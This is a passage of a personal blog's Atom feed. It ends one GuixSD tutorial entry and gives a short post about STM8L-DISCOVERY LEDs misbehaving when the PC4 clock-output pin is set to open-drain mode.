&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;TODO&lt;/strong&gt; Some more usefull debug suggestions?&lt;/p&gt;</content><author><name>Nikolai Merinov</name></author><summary type="html">This post must be same tutorial for GuixSD as https://nixos.org/wiki/NixOS:extend_NixOS for NixOS.</summary></entry><entry><title type="html">STM8L-DISCOVERY open drain on CCO pin</title><link href="https://mndet.net/2015/03/03/stm8l-cco.html" rel="alternate" type="text/html" title="STM8L-DISCOVERY open drain on CCO pin" /><published>2015-03-03T00:00:00+00:00</published><updated>2015-03-03T00:00:00+00:00</updated><id>https://mndet.net/2015/03/03/stm8l-cco</id><content type="html" xml:base="https://mndet.net/2015/03/03/stm8l-cco.html">&lt;p&gt;I write simple code that blinks with diodes on PE7 and PC7 GPIO pins. 
All works fine, but if I in same time set PC4 (CCO pin) to output open drain mode
then even blink example works incorrect.&lt;/p&gt;

&lt;p&gt;Video demonstration:&lt;/p&gt;

&lt;video width=&quot;320&quot; height=&quot;240&quot; controls=&quot;&quot;&gt;
  &lt;source src=&quot;/assets/blink.mp4&quot; type=&quot;video/mp4&quot; /&gt;
  Your browser does not support the video tag.
&lt;/video&gt;

&lt;p&gt;In video I also disabled CCO output with CLK_CCOR register.&lt;/p&gt;</content><author><name>Nikolai Merinov</name></author><summary type="html">I write simple code that blinks with diodes on PE7 and PC7 GPIO pins. All works fine, but if I in same time set PC4 (CCO pin) to output open drain mode then even blink example works incorrect.</summary></entry></feed>